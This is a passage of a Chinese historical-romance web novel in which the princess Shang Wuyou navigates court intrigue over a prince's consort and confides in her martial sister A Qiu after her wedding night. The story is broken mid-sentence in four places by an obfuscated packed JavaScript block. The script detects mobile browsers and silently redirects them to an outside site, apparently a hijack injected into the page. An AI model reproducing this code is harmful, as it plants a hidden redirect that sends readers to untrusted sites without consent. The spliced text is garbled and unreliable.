高炯心头大急,却见父亲扑通一声跪倒在地,朝皇帝高声道:“老臣教女无方,致使皇族蒙羞,实在无言忝居丞相之位。愿辞去官职,守着乡下几亩薄田了此余生,万望陛下恩准。” 殿内一时寂静无声。 为求正妃之位,高子霖竟以辞去官位相威胁,他是疯了吗?! 辉帝满心不悦,正要开口,却见一个小内侍匆匆走进来,俯身跪拜道:“启禀陛下,外头来了几位御史,说要联名参奏礼王殿下行悖逆之举,坏大辉皇族名声!” 第二百一十章 帝王之心深如渊 辉帝看着跪在地上的高子霖,暗自叹了口气—— 不愧是当朝宰相,果真思虑周全! 他没料到长公主会带着人证和物证前来,也没料到礼王和陆贵嫔居然能反客为主,却依旧能在身处劣势之时留有后手——此时殿外的御史便是他高子霖用来逼迫自己的一步棋,若是皇帝不按他的意思行事,朝臣们便会对商氏皇族发起攻击…… 辉帝目露沉思——他不是不能用权势叫外头的臣子们低头,可那样一来自己必然会落下个残暴、刻薄的名声。 为了一个小小的高若馨,不值得! 可此番若如了高子霖的意,只怕日后高氏一族还会生出更大的野心—— 女儿做了淑妃,外孙成王在朝中经营多年、有着问鼎储君之位的实力,若再叫他的孙女做了礼王的正妃,这未来的大辉朝岂不是要改姓高?! …… 商无忧托腮冷笑。 高子霖为相八载,自以为对父皇的心思拿捏的极准,甚至以为有了与皇权抗衡的能力,殊不知父皇从一介平平无奇的无宠皇子、一路披荆斩棘成为称霸四国的一方帝王,如今扶他上位的陈氏一族早已湮灭,父皇又岂会再被权臣制衡? 帝王之心深如渊,高子霖的希望只怕要落空了…… 眼前的戏已没了看头,商无忧再提不起兴致,索性慢悠悠起身,朝陆贵嫔和皇帝道:“儿臣重伤未愈,实在坐不住,这便向父皇告罪,先回国公府歇着去了!” 高炯目露深沉地盯着那抹红色身影,忽地开口问道:“长公主以为老臣的孙女该得个什么位分?” 商无忧嗤了一声:“皇室中人的名位自然由父皇定,高相问本宫做什么!” “父皇恕罪,儿臣先告退了。” 见她一副事不关己的模样,皇帝叹了口气,朝施淳道:“谲儿身子还没好利索,你好生将她送出去吧!” 商无忧走了两步,目光忽的触及瘫倒在地的柳儿,想了想便道:“既然这婢女说了实话,还是饶了她的好;说到底她一介奴仆不过按主人之命行事。若因此丢了性命,这世上哪还有人愿做忠仆?” 陆贵嫔心领神会,忙道:“殿下只管去,不过一个丫头,臣妾宫里还缺人手,这丫头便留在妾身宫中做个宫女吧。” 商无忧点了点头,这才转身离去。 待出了宫殿大门,施淳这才轻声笑道:“恭喜长公主,今日过后您更得圣心了。” 商无忧哼了一声,“瞧你这话说的,本宫不过就事论事,并无半分刻意讨好父皇之意。” “正是殿下这不曲意逢迎的性子,才叫陛下欣慰。” 施淳笑道:“刚才殿中之人便面上皆一副忠贞耿直嘴脸,暗地里却各有个各的算计;陛下什么风浪没见过,岂会将他们那点小伎俩放在眼里?” 商无忧边走边道:“本宫在父皇身边时间不长,你觉得今日那高若馨会如愿成为大皇子正妃吗?” 施淳闻言弓着背恭敬道:“若高相坚持到底,这正妃之位高若馨多半还是能做得上的;不过陛下心若深渊,高相和贵嫔娘娘都以为自己占尽便宜,却不知陛下做事必留后手——依老奴看,礼王殿下的郡王之位怕是要不保了……” 商无忧的脚步忽的一顿,她转过头,不敢置信道:“商煦鹏已是郡王,若再降……岂非只有皇子的身份了?” 施淳点了点头,“昨日之事说不清,无论高家和成王联手算计礼王,还是礼王见色起意对高若馨用强,丢脸的始终只有陛下!而高相权势滔天,陛下还需给他三分颜面;可陛下的性子是断不许权臣凌驾于君王之上的,所以老奴才说这正妃之位,高家那位小姐‘多半’做的上……” 商无忧挑眉,“自从你做了父皇身旁的大内官,说话倒时愈发云山雾罩了。” 施淳呵呵一笑,“不敢瞒殿下。陆贵嫔一心想拿捏高家,丞相又紧盯着皇子正妃之位不放,两帮人斗法陛下乐见其成。” “想来殿下知道此番北狄使团中有一位公主随行,似是有意与大辉联姻。我朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15880943|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯有成王与礼王成年,北狄又一直与大辉有抗衡之意,这皇子正妃的位置,陛下八成要留给那位北狄公主的……” “北狄公主……父皇是想让她嫁给大皇兄?” 诗淳眸光微闪,轻声道:“说不得,说不得。” 商无忧闻言便道:“大内官在父皇跟前伺候了二十多年,这天下若说谁最懂父皇心意,必是您无疑。” 施淳忙垂下头,“殿下谬赞了,老奴不过是陪在陛下身边久了,偶尔能揣摩几分圣心罢了。 商无忧扯了扯嘴角,“那位北狄公主性格有趣,怕是不愿嫁给我这两位‘不省心’的皇兄。” 诗淳一怔,“长公主的意思是?” 商无忧以手掩唇,凑近施淳耳边轻声道:“实话与你说,我与那北狄公主对脾气,又瞧两位皇兄不爽,决心帮一帮那位北狄公主,好让她留在父皇的后宫。” 施淳闻言默然半晌,这才弓着身子道:“陛下上了年纪,喜欢年轻又有个性的女子。他常说宫中嫔妃居心叵测,十分欣赏似长公主这般心思纯粹、直率坦荡的人。若过几日使团进见时那位公主能以此引得陛下注意,一定有机会留在太极宫。” 商无忧闻言这才收起傲慢神色,轻轻点头道:“多谢你提点。” 施淳叹了口气,“老奴命运多舛,若没有先皇后的照拂,老奴早就死在嫉贤妒能的老内官手中了!先皇后心慈,老奴一直想报答娘娘恩典,只可惜……” 谈及往日之事,商无忧的语气一柔:“早年在永巷你曾多番暗中接济本宫,如若不然我早就死在那帮刁奴的刻意薄待下了。” 施淳摇了摇头,“不过是些吃食布料,算不得什么。只可惜那时后宫由淑妃掌控,老奴只能趁其不备偷偷送些东西,即便如此,也让殿下吃了不少苦。” 商无忧叹道:“好在那些日子都过去了。母后的仇、陈氏的恨,我要一并讨回来!” 施淳闻言忽的朝她深深一拜:“老奴受先皇后恩典,必定全力协助殿下!” 第二百一十一章 番外 方生如意(一) 宁国公被抬回洛神轩那一日,院内服侍的奴仆全被赶到了外院,直到第二日上午才被允许回院复命。期间偶有好奇的侍从借送东西为由,探头探脑地往院内窥视,却被洛神轩门口身材魁梧的侍卫用冰冷如利剑的眼神吓退。 “碧萝姑娘去屋里送些水吧。” 听见赵姑姑的吩咐,碧萝的眉头轻轻蹙起,低声抱怨道:“不是奴婢偷懒,实在是卫侍卫太过吓人。姑姑您是没看见,他黑着脸、好似一尊门神守在长公主院外,不管谁过去都会被他死死盯着,直叫人毛骨悚然、只得拔腿就跑。奴婢瞧他不想侍卫,倒像是个牢头!奴婢可不愿去触他的霉头……” 赵姑姑闻言笑道:“将院外奴仆遣散是长公主的吩咐。国公爷中了药的事不好叫外人知道,只得推说他在今夜宴会上多喝了些酒,只得在殿下的洛神轩留宿。” 正煎茶的红珠手一顿,轻声道:“姑姑,长公主与宁国公的院子明日午时后才许下人进入,这事若传到史太君耳朵里,她会不会来找长公主兴师问罪?” 碧萝撇了撇嘴:“国公爷与殿下是夫妻,便是起的晚了些,也犯不上史太君派人来质问吧?” 红珠一边煎茶,一边叹道:“话虽如此,可众人都知道国公爷与长公主一同饮了酒,回来便将院内的仆从都打发了出去,明显就是要……又吩咐人下午才能回去,这事若传到旁人耳朵里,还不知要说的多难听!偏宁国公又不肯将被下药的事告诉太君和老夫人,倒叫咱们殿下担了污名……” 碧萝闻言叉着腰道:“国公爷宿在咱们洛神轩怎么了?他二人新婚燕尔,即便夜夜同宿,也只能说明夫妻恩爱,老太君凭什么过问?” 赵姑姑连忙道:“这事儿我已思量过,刚刚已叫张大夫回禀了太夫人,就说宁国公在宴会上饮了许多烈酒,以致身子不适,长公主见不得他难受,这才将人留在在洛神轩亲自照料。想必如此一来,史老夫人也没话可说了。” 碧萝点点头:“还是姑姑考虑周全。可院里没人伺候总是不便,早知道就留红珠在里头了。” 红珠的脸一红,急忙道:“今夜也算是长公主与宁国公的洞房花烛夜,奴婢怎么好意思留在里头?所以殿下一吩咐将人都撤走,奴婢便跟着姑姑出来了。再说外头不还有卫真吗?想来也用不到咱们吧!” “一个侍卫,哪会伺候人?” 碧萝嫌弃的撇了撇嘴,“奴婢是担心殿下的身子,殿下的伤刚好没多久,若是被宁国公一夜折腾,会不会旧伤复发?” 赵姑姑默了默,这才迟疑着道:“听说那药源自蛮族宫中,药性霸道;好在咱们殿下师从国师,对各类药性毒理烂熟于心,她既愿意留国公在此,想必自有分寸。” 说到此处她唇边忽的浮现一抹笑,“我倒是觉得欣慰,咱们殿下终于找到可托付终身之人了。” “姑姑这话说得是,” 碧萝脸上亦露出欣喜之色,“宁国公性子温厚,对咱家殿下十分体贴,奴婢瞧着是个好的。老夫人和几位小姐又待宫主亲厚,不似宫中、尽是些势利小人。原本奴婢还担心,宁国公为保爵位不得已才娶了殿下会会心存不甘,如今看来倒是白担心了。” 红珠也道:“奴婢不管别的,只要殿下高兴,奴婢就高兴!” 她说着转头去看赵姑姑,轻声问:“姑姑,您说今夜殿下……是高兴的吧?!” …… 陈谨言在洛神轩外默默站了一宿,直到双腿如针扎般疼痛也不愿离去。 赵姑姑传话说谲儿让所有人都到前院,只留她一人在此伺候时,他心头忽的生出悲凉之感—— 若祖父还活着,如今谲儿已成了他的妻…… 可一朝宫变,乾坤颠倒。 那日之后,曾经高高在上的长公主,成了人人厌弃的“疯子”,而当初风华正茂的偏偏贵公子陈谨言则成了皇帝身边沉默寡言的侍卫卫真。 多少次他偷偷去看她,她脖子上的生锈的铁链如刀般插入他胸膛! 他多想割断铁链带、她离开牢笼,可父亲、祖父、姑姑……一家人惨死的场景如大山般死死压在心头! 为复仇他只能苦苦忍耐着,他背负着陈氏一族最后的希望!他小心翼翼、如履薄冰,甚至连受困的心上人亦不敢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886244|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠近。 皇帝赐婚那日他紧紧揪住的心终于放松了下来,却又开始担忧那位以温厚闻名的宁国公府二公子是否会善待疯癫的表妹。 为了护他,沉默寡言的卫真第一次在施淳面前欲言又止,先是委婉的提及受过先皇后恩典,又表达了对长公主未来的担忧。皇帝身旁的老内官立时心领神会,旁敲侧击向皇帝推荐他去行驶监视之责;果然不久后皇帝便将这桩费力不讨好的差事派给了他,可陈谨言却满心欢喜—— 终于能名正言顺地守在她身边了! …… 天空忽然打了个闷雷,骤雨倾盆而下,狠狠淋在他头上、脸上。陈谨言抬起头,任由雨水狠狠撞入眼中,激起一片难忍的酸涩。 他本该知足的,不是吗? 他无法给她安定生活与庇护。 这些年他潜伏在皇帝身边暗查当年宫变,又带领芙蓉楼暗部寻访线索,当年的种种迹象皆指向御座上的九五至尊。 可他只有一群仍忠于沉氏的旧部,若无朝中势力支持、何谈复仇? 但赵元婴不同。 他是世代掌兵的宁国公府子弟,兄长乃是威名远播的征西将军。此人外显温厚、实则心思缜密,该下手时毫不留情,完全可以成为谲儿复仇的利刃—— 谲儿的决定是正确的——想将这柄利刃真正握在手中,没有比让之生出男女之情更快捷的道路了! 他还在奢望什么呢?! 她与赵元婴行了合卺之礼、禀告过宗庙,已是名正言顺的夫妻,便是他日回复了身份,他与她也再无可能! 赵元婴对谲儿的情愫他亦看在眼里——祭礼那日,他拼着自己的命护住了她,这番情谊做不得假!如今二人只不过是完成了婚礼那日便该行的周公之礼,过了今日后,他便会更加呵护她,对吧?! 谲儿成婚那日,他见识过赵元婴的身手。 此人剑法是日复一日苦练而成,身手丝毫不弱与其兄。 他惯会隐忍、韬光养晦,绝非等闲之辈! 有这样的人守在谲儿身旁,谲儿还需要自己的守护吗?! 番外 方生如意(二) 天微微亮的时候商无忧便醒了过来。 一双碧眼等着窗棂许久,这才蹑手蹑脚的下了床榻。她转过头望向赵元婴温润的脸,只觉得心中缺失的一块仿佛被填满了。 可另一处却怅然若失。 大红的外裳被丢在一旁,一身素衣的商无忧拉开门,雨后的空气带着潮湿的气味扑面而来。 她深吸了口气,空无一人的洛神轩静谧如斯! 商无忧四顾茫然,不知自己能去哪,只得任由双腿朝梦中最熟悉的地方走去。 …… 寅时已到,阿余便打开门,却见一个一身白衣的娉婷身影静**于台阶上。 阿余愣了半晌,试探着叫道:“可是无忧师姐?” 商无忧缓缓回过头,低声道:“整个白云观唯阿余一人勤勉,时辰尚早,你就起来练功了?” “师父的嘱咐阿余不敢忘,这五年来的早课从未有一日停歇。” 阿余说着迈步走出了门,来至商无忧跟前,俯下身低声问道:“师姐,你这是怎么了?莫不是身子有恙?” 商无忧温和的看着他,忽的抬起手拍了拍阿余的肩,柔声道:“我的身子没什么,就是心里一时空空落落的,便想着来山上看看大家……” 阿余闻言搔了搔头,赧然道:“师姐来的不巧,师父他老人家说是要为陛下炼制丹药,已是许久未归了;大师兄经年于后山行炼器之法,如今也很少回观中;唯有阿秋师姐常来观中探望,可是眼下天色尚早,也不知师姐今日来还是不来……” 小道士看了看她的脸色,踟躇着道:“师姐是不是遇到什么难事了?要不你和阿余说说吧,阿余虽说年纪小,却也愿为无忧师姐尽一份力……” 商无忧注视了他半晌,这才柔声道:“阿余,山下都是些无聊的人和事,师姐在山下待久了,难免沾染些世俗之气,是以心境难平、乱了分寸;今日上山不过是求一份清静,倒与旁的无干!” 阿余闻言这才松了口气,喃喃道:“既如此我便放心了,我还以为师姐在山下受了欺负呢……” 商无忧笑道:“吾乃镇国公主、又是神女之尊,谁敢欺负我?” 阿余嘁了一声,“无忧师姐是忘了之前被阿姐欺负的事了吗?当年师父不在,若不是大师兄护得紧,阿秋师姐怕不是要将你丢到后山去喂毒蛇了……” “阿余你个臭小子,闲来无事竟在无忧跟前说我的坏话,是不是皮又痒了?” 听到那尖刻的话语,阿余忙绷直脊背,转头朝来人道:“阿秋师姐今日怎么来的这样早……” 阿秋抱着肩嘲讽道:“若不是我今日起得早,还听不见你小子在背后议论人呢!” 阿秋横了他一眼,摆了摆手道:“好了好了,大人不记小人过,此番我便饶了你,赶紧练功去吧!” 看着小道士快步离去的背影,她笑着朝商无忧道:“这小子轴得很,师父不过随口一说——每日早课不可断,五六年来,这孩子无论刮风下雨竟从未有一日间断。” 她摇了摇头,“这一点倒是和你很像——你们这种人外表瞧着都是聪明人,其实不过是个认死理儿的。” 阿秋说着一屁股坐在商无忧身旁,上下打量着她,嗔怪道:“今日怎么瞧着失魂落魄的,莫不是你那皇帝老子又给你出难题了?还是国公府又不让你省心了?” “师姐可曾喜欢过什么人?” 商无忧忽的转过头,直视着她的双眼,轻声问道:“我记得多年前师姐曾有好长一段时间不在山上,我后来问过师父,他说师姐相中了个男人,要下山去与他成亲,不知后来怎么样了?” 阿秋闻言收了笑脸,“你问这个做什么?” “师姐容貌姣好,又在白云观修行多年,一身武功和幻术尽得师父真传,我想知道究竟什么样的男子值得你抛下一切、非要与之共度余生?” 阿秋认认真真盯着商无忧瞧了半晌,这才撇了撇嘴,“若不是了解你的性子,还真以为你是为情所困才说的出刚刚那番话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898376|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……你自六岁起便被封为天命神女,又是公主之尊,怎会知道寻常男女的情爱究竟有多折磨人……” “我喜欢的男人,偏偏不喜欢我。” 阿秋托腮叹了口气,“当初我为了他抛下了山上的一切,可就算我用刀逼着他,他也不肯娶我。他口中说着父命难为,自个的婚事做不了主;可我知道,他是有了心上人,这才对我敬而远之。” “我的境遇与师姐不同。” 商无忧垂下眼,碧眸中闪过一丝迷茫。 “我与赵元婴成婚之前并未见过彼此,师姐你说,我与他这样陌生的人,该如何做夫妻?” 阿秋摇了摇头,“你这话可是问错人了,我还没嫁人呢,怎么知道如何与男人做夫妻?” “你不是喜欢过大师兄吗?” 阿秋一愣,却听商无忧继续道:“你以为我年纪小就看不出?若不是因为大师兄对我另眼相待,师姐不会处处针对我,甚至动了杀机……” 阿秋心头一动,忽的冷笑起来,“原来你早就知道……你明知自己那时不是我对手,为何还要故意接近师兄、引我动怒?” 商无忧一脸淡然道:“我就是这么个脾气,喜欢与人针锋相对——你越是在意师兄,我便越要与师兄亲近,你若真敢对我出手、我便与你兑命,大不了鱼死网破!” 阿秋默了半晌,这才道:“狠辣、决绝,果真是你的个性……” “我与赵元婴之间并无情义,成婚乃为了让彼此脱困的权宜之计,可是昨夜……我仿佛做了一件错事。” 阿秋闻言忽的来了劲头,忙不迭追问道:“昨夜?!你昨夜做了什么?!” 商无忧答非所问,忽的喃喃道:“我与他有了纠葛,是不是往后便多了牵挂?我还有大仇要报,若被人拿住了软肋,岂非要陷入万劫不复之地……” 阿秋听罢眼神微闪,僵硬的扯了扯嘴角,嘀咕道:“长公主又如何?‘情’之一字,即使是天命神女也无法逃脱,当真可怜!” 番外 方生如意(三) “师姐的话是什么意思?” 看到商无忧面带不解,阿秋心头忽的生出荒唐之感—— 枉自己恨了这么些年,原来竟是高看她了! 阿秋起身抚了抚身上的尘土,哼道:“长公主在这惆怅吧,我可没时间在此处瞎耽误工夫……” 商无忧见状眉头轻蹙, 这么多年来阿秋总是这般对待她,不耐中带着不屑和嘲讽,叫人十分厌恶。 她冷下脸来,低声道:“师姐不觉得太过分了吗?我虽贵为长公主,却从未在一干师兄弟之间摆过什么架子,你到底瞧我哪里不顺眼,为何言语间夹枪带棒的挤兑人?” 阿秋翻了个白眼,“难道我说的不对?你向来自负,若是有人欺负了你身旁的侍女和宫人,不管那人身份多高,你也一定要朝他身上甩上几鞭才肯罢休,怎么如今事情轮到自己身上,反倒畏首畏尾起来?当真叫人看不起!” 商无忧面色愈发阴沉,“你说清楚,我何时畏首畏尾了?” “我眼中的商无忧端的是霸道异常,便是拼着自己受伤也要确保身旁之人安然无恙。你曾说过,强者与弱者的分别就在于此——弱者只图一人苟安,唯有强者才能庇护一方。” “若连枕边人都护不住,这个天命神女不做也罢!” 阿秋冷笑连连,“你自诩为强者,做起事来却瞻前顾后。这世上谁能了无牵挂?人人皆有软肋,你若怕日后有人捏着那人的性命来要挟、而你只能哭哭啼啼的在一旁束手,还不如现在就找个地方龟缩起来,从今往后安心洗手作羹汤,休要再提什么复仇,没的惹人笑话!” 商无忧心头一震,抬起眼愣愣的看着阿秋;阿秋则一脸愤慨的继续数落—— “瞧瞧你这个失魂落魄的样子,哪里还有当年半分傲气在?想当年你被我骗到悬崖,几乎跌落万丈深渊却不肯求饶;十年过去了,当年天不怕地不怕的小丫头竟成了今日这幅瞻前顾后的模样,怪只怪我一时心软,早知道你会便成这个样子,就该让你在半空的洞穴中自生自灭……” 商无忧闻言叹了口气,“我明明记得当年救人的是大师兄……” “我的话还没说完,谁准你插嘴的?!” 阿秋气呼呼道:“我一直当你是个对手,谁曾想你竟这般没出息?!心里在意的人自然要拼命护住,谁敢伤他、抢他,你便径直取那人性命!” “早知道你这般软弱,当初我便不会将你看在眼里!你这么个无能丫头,也值得我花心思算计?我成什么人了?” “气死我了……” 阿秋说着顿足捶胸,商无忧见状面上却露出个如释重负的笑容,轻声道:“多些师姐提点,我明白了。” 阿秋一愣,“你明白什么了?” 商无忧无言站起身,朝阿秋露出个温和的笑,柔声道:“冲着师姐今日这番话,咱们之前的恩怨便一笔勾销了!” 说罢转身便走。 阿秋气叉腰喝道:“我还没骂完,谁让你走的?什么叫之前的恩怨一笔勾销,你把话说清楚……” “一笔勾销的意思就是,无论师姐之前曾如何害过我,我都不计较。只是这往后……” 商无忧语气一顿,脚下却不停,“师姐也说了,若有人敢害我身边之人,凭他是谁、我必径直取他性命!师姐日后还请小心了……” 这丫头! 看着她飘逸远去的背影,阿秋眼中一片黯然,悄声咕哝道:“我人虽小气,心却没那么狠——到底有自幼长大的情谊在,我并不想要你死的……” 她的眼神飘向远方,喃喃道:“对你们下手并被我的本意,实在是那人的命令违背不得!他人前一副温和模样,实则狠辣异常。他吩咐的事,我一定要做、且必须做好……” 阿秋说着轻轻摸了摸被宽大袍袖遮盖的右臂,叹道:“都怪当年的一念之仁,你虽侥幸活了下来,可我这血肉之躯却被他生生砍断,换上了这冰冷的铁手;元吉下山时我跟着叛逃,他又生生断了我一臂。我若不听他的话,今后的日子只怕要比死还痛苦……” “小师妹,你自求多福吧。” 阿秋面色冰冷,双眸中忽的闪过狠厉之色。 “商无忧,总有一日你我会以命相搏!我倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15898377|172807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盼着你能信守承诺,到时候千万莫要手下留情……” ----------------- “沛之,你醒了没有?本少爷来看你了!” “裴少爷,小人求求你了,国公爷他今日身子欠佳,您还是明日再来吧……” “嘿嘿,他昨也可谓春风得意!我这做兄弟的特意来贺一贺,你若不叫我进去,我今日便不走了!” “裴少爷,您……” 外头的声音吵得赵元婴头疼,他咬着牙坐起身,朝外头大声道:“春山,让他进来。” 春山得了话,这才不情不愿的让开路。 裴振斐笑嘻嘻的推开门,大声道:“昨夜沛之好生快活,为兄特来恭喜……” 话还未说完,赵元婴便咚的一声倒在床上;裴振斐被吓了一跳,忙不迭赶上前来,小心翼翼道:“沛之,你这是怎么了?” 春山阴沉着脸,手中端着个碗走了进来,朝着赵元婴道:“国公爷,这是张大夫亲自煎的药,特别嘱咐了叫您醒了就喝下去。” 他话音未落,赵姑姑便捧着个托盘走了进来,“国公爷大安,这是咱家长公主吩咐熬的补药,她叮嘱您千万不要忘了饮。” 赵元婴在裴振斐的搀扶下坐起身,有气无力道:“都拿过来吧。” 裴振斐看着他苍白的脸色,小心翼翼道:“我听说长公主昨夜将整个院子里的人都撵到外头去了,你是不是昨夜操劳太过,这才连床都起不来……” “咳、咳……” 闻言赵元婴被呛的喘不上气,裴振斐拍着他的背叹道:“都是男人,兄弟我懂……” 赵元婴闹了个大红脸,忙朝着春山和赵姑姑道:“我这有裴少爷照顾着,你们下去吧!” 裴振斐看着他,喃喃道:“沛之啊沛之,你怎地就招惹了那么个难缠的主儿,往后你该怎么办才好啊……” 赵元婴放松四肢,姿态放松的瘫在柔软的榻上;枕边传来阵阵凛冽的梅香,在好友看不到的地方,他眉眼弯成个好看的弧度,唇边却露出抹奸计得逞的笑,低声叹道:“阿斐,我有妻了!”